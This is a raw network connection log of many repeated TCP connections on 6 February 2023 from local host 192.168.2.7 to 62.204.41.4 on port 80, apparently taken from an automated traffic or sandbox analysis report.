Feb 6, 2023 18:38:29.971251965 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.031516075 CET	80	50287	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.031774998 CET	50287	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.032697916 CET	80	50288	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.032907009 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.033696890 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.095273018 CET	80	50288	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.099051952 CET	80	50288	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.099240065 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.206332922 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.207127094 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.267977953 CET	80	50288	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.268117905 CET	50288	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.268599033 CET	80	50289	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.268712044 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.269170046 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.330775023 CET	80	50289	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.333194017 CET	80	50289	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.333390951 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.438908100 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.439598083 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.500071049 CET	80	50290	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.500257969 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.500494957 CET	80	50289	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.500585079 CET	50289	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.501538038 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.561841011 CET	80	50290	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.565505028 CET	80	50290	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.565690041 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.673413038 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.674225092 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.733877897 CET	80	50290	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.733990908 CET	50290	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.734793901 CET	80	50291	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.734915018 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.738198042 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.798954010 CET	80	50291	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.802054882 CET	80	50291	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.802145004 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.908340931 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.909200907 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.969326019 CET	80	50291	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.969419956 CET	50291	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.969485044 CET	80	50292	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:30.969666004 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:30.970170975 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.030487061 CET	80	50292	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.033524036 CET	80	50292	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.033631086 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.142997026 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.143945932 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.203665018 CET	80	50292	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.203712940 CET	80	50293	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.203778028 CET	50292	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.203864098 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.205771923 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.265661955 CET	80	50293	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.270173073 CET	80	50293	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.270354986 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.377089977 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.377743006 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.437131882 CET	80	50293	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.437306881 CET	50293	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.439249992 CET	80	50294	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.439372063 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.479058981 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.540837049 CET	80	50294	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.543909073 CET	80	50294	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.544008970 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.662347078 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.668267965 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.724208117 CET	80	50294	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.726370096 CET	50294	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.729873896 CET	80	50295	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.730056047 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.730773926 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.792366028 CET	80	50295	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.795362949 CET	80	50295	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.795480967 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.908361912 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.909708977 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.970177889 CET	80	50295	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.971122980 CET	80	50296	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:31.971271038 CET	50295	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.971323967 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:31.975155115 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.036715031 CET	80	50296	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.041707039 CET	80	50296	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.046184063 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.158772945 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.160376072 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.221554995 CET	80	50296	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.221703053 CET	50296	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.224160910 CET	80	50297	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.224277020 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.224802017 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.287899971 CET	80	50297	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.290158987 CET	80	50297	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.290312052 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.392307997 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.393357038 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.455199003 CET	80	50297	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.455394983 CET	50297	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.455785036 CET	80	50298	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.459827900 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.460706949 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.523224115 CET	80	50298	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.526222944 CET	80	50298	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.529752970 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.643779993 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.652169943 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.706621885 CET	80	50298	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.706787109 CET	50298	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.712987900 CET	80	50299	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.713121891 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.713859081 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.774327993 CET	80	50299	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.777806044 CET	80	50299	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.778029919 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.893512964 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.895001888 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.954730988 CET	80	50299	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.954850912 CET	50299	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.956928015 CET	80	50300	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:32.957123995 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:32.957645893 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.018883944 CET	80	50300	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.021564960 CET	80	50300	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.021801949 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.126293898 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.127305031 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.188030005 CET	80	50300	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.188235044 CET	50300	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.189766884 CET	80	50301	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.189867020 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.190298080 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.252876997 CET	80	50301	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.258894920 CET	80	50301	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.259042025 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.362176895 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.364310026 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.425717115 CET	80	50301	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.425827026 CET	80	50302	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.425914049 CET	50301	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.425983906 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.426502943 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.487869024 CET	80	50302	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.490863085 CET	80	50302	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.491005898 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.595665932 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.596575022 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.657320023 CET	80	50303	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.657366037 CET	80	50302	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.657444954 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.657476902 CET	50302	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.662983894 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.723529100 CET	80	50303	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.727881908 CET	80	50303	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.728084087 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.861227036 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.864010096 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.922914028 CET	80	50303	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.923115969 CET	50303	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.924597979 CET	80	50304	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.924767017 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.925232887 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:33.985502005 CET	80	50304	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.989304066 CET	80	50304	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:33.989522934 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.098515987 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.099405050 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.159915924 CET	80	50304	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.160070896 CET	50304	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.161803961 CET	80	50305	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.161986113 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.163427114 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.226205111 CET	80	50305	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.229917049 CET	80	50305	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.230143070 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.354464054 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.355674028 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.416456938 CET	80	50306	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.416493893 CET	80	50305	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.416640997 CET	50305	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.417557001 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.417912006 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.478898048 CET	80	50306	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.481225967 CET	80	50306	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.481368065 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.595788956 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.596761942 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.656697035 CET	80	50306	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.656815052 CET	50306	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.658543110 CET	80	50307	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.658822060 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.659310102 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.723150015 CET	80	50307	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.725996971 CET	80	50307	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.727605104 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.835666895 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.836446047 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.898381948 CET	80	50307	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.898519039 CET	50307	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.898789883 CET	80	50308	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.899609089 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.900026083 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:34.961865902 CET	80	50308	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.966207981 CET	80	50308	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:34.966458082 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.080470085 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.081470013 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.142164946 CET	80	50308	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.142425060 CET	50308	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.142785072 CET	80	50309	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.146018982 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.147885084 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.209450960 CET	80	50309	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.214554071 CET	80	50309	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.218064070 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.334537029 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.335746050 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.396183968 CET	80	50309	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.396361113 CET	80	50310	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.396502018 CET	50309	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.396554947 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.397049904 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.457602024 CET	80	50310	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.460278034 CET	80	50310	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.462951899 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.587655067 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.588366985 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.647610903 CET	80	50311	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.647787094 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.648200989 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.648217916 CET	80	50310	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.648279905 CET	50310	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.707550049 CET	80	50311	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.711546898 CET	80	50311	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.711664915 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.814024925 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.814503908 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.873580933 CET	80	50311	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.873743057 CET	50311	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.875154972 CET	80	50312	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.875442028 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.876032114 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:35.936635017 CET	80	50312	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.939383030 CET	80	50312	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:35.939526081 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.048527002 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.050580978 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.110167980 CET	80	50312	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.110284090 CET	50312	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.113662004 CET	80	50313	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.113831043 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.114306927 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.176541090 CET	80	50313	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.181561947 CET	80	50313	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.181732893 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.298476934 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.299257994 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.360774994 CET	80	50314	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.360960007 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.361022949 CET	80	50313	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.361099005 CET	50313	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.369028091 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.430844069 CET	80	50314	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.434140921 CET	80	50314	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.434317112 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.548769951 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.549472094 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.611608982 CET	80	50314	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.611694098 CET	80	50315	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.611737967 CET	50314	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.611823082 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.612364054 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.676146030 CET	80	50315	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.680104017 CET	80	50315	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.680226088 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.783750057 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.784718990 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.846229076 CET	80	50315	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.846271992 CET	80	50316	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.846395016 CET	50315	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.846474886 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.846930027 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:36.911748886 CET	80	50316	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.911777973 CET	80	50316	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:36.911958933 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.016936064 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.017771959 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.078886986 CET	80	50316	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.079107046 CET	50316	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.079242945 CET	80	50317	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.079364061 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.080324888 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.142087936 CET	80	50317	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.146085024 CET	80	50317	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.146306992 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.256556988 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.257266998 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.317502975 CET	80	50318	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.317672014 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.318331957 CET	80	50317	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.318430901 CET	50317	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.320678949 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.380764008 CET	80	50318	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.383331060 CET	80	50318	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.383454084 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.489335060 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.490143061 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.549695015 CET	80	50318	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.549777985 CET	50318	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.550554037 CET	80	50319	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.550738096 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.557363987 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.617912054 CET	80	50319	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.621031046 CET	80	50319	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.621144056 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.736587048 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.737504005 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.797192097 CET	80	50319	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.797290087 CET	50319	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.799098969 CET	80	50320	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.799226999 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.801532030 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.863766909 CET	80	50320	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.867260933 CET	80	50320	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:37.867434978 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.973382950 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:37.974236012 CET	50322	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.035234928 CET	80	50320	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.035336971 CET	50320	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.035857916 CET	80	50322	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.035959005 CET	50322	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.036621094 CET	50322	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.098978043 CET	80	50322	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.104947090 CET	80	50322	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:38.105073929 CET	50322	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:38.220196962 CET	50322	80	192.168.2.7	62.204.41.4
